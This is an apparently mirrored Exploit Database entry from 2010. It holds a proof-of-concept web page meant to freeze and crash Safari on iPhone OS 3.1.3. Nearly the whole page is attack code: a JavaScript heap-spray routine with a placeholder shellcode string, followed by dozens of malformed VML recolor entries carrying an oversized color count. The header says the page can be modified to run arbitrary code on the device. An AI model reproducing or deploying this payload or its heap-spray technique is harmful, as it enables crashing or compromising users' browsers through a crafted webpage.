Apple iOS Safari – Bad ‘VML’ Remote Denial of Service

Exploit Database
101 阅读

作者： Nishant Das Patnaik

日期： 2010-03-26
类别：
- dos
平台：
- ios
来源：https://www.exploit-db.com/exploits/11890/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

# Exploit Title: Bad "VML" Remote DoS on Safari for iPhone & iPod Touch

# Date: 26/03/2010

# Author: Nishant Das Patnaik

# For more of Nishant's research, please visit:

# http://nishantdaspatnaik.yolasite.com/research.php

# Tested on: iPod Touch 3G (iPhone OS 3.1.3)

# Description: An attacker may direct the user to visit a specially crafted webpage that can lead the Safari browser on iPhone & iPod Touch running iPhone OS 3.1.3 to freeze and finally crash. The attacker can modify to the PoC to run arbitrary code on the device.

# Code:

---------PoC STARTS HERE----------------

<html xmlns:v="urn:schemas-microsoft-com:vml">

<title>Bad "VML" Remote DoS on Safari for iPhone & iPod Touch</title>

<head>

<object id="VMLRender"

classid="CLSID:10072CEC-8CC1-11D1-986E-00A0C955B42E">

</object>

<style>

v\:* { behavior: url(#VMLRender); }

</style>

</head>

<body>

<SCRIPT language="javascript">

shellcode = unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000");

bigblock = unescape("%u0000%u0000");

headersize = 20;

slackspace = headersize+shellcode.length;

while (bigblock.length<slackspace) bigblock+=bigblock;

fillblock = bigblock.substring(0, slackspace);

block = bigblock.substring(0, bigblock.length-slackspace);

while(block.length+slackspace<0x40000) block = block+block+fillblock;

memory = new Array();

for (i=0;i<350;i++) memory[i] = block + shellcode;

</script>

<v:rect style='width:120pt;height:80pt' fillcolor="red" >

<v:recolorinfo recolorstate="t" numcolors="97612895">

<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"

lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"

fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>

<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"

lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"

fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>

<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"

lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"

fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>

<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"

lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"

fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>

<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"

lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"

fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>

<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"

lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"

fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>

<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"

lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"

fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>

<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"

lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"

fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>

<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"

lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"

fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>

<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"

lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"

fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>

<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"

lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"

fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>

<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"

lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"

fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>

<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"

lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"

fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>

<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"

lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"

fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>

<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"

lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"

fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>

<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"

lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"

fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>

<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"

lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"

fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>

<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"

lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"

fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>

<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"

lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"

fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>

<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"

lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"

fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>

<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"

lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"

fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>

<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"

lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"

fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>

<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"

lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"

fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>

<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"

lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"

fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>

<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"

lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"

fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>

<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"

lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"

fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>

<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"

lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"

fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>

<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"

lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"

fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>

<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"

lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"

fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>

<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"

lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"

fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>

<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"

lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"

fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>

<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"

lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"

fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>

<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"

lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"

fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>

<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"

lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"

fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>

<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"

lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"

fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>

<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"

lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"

fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>

<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"

lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"

fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>

<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"

lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"

fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>

<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"

lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"

fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>

<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"

lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"

fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>

<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"

lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"

fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>

<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"

lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"

fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>

<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"

lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"

fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>

<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"

lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"

fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>

<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"

lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"

fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>

<v/recolorinfo>

</html>

---------POC ENDS HERE----------------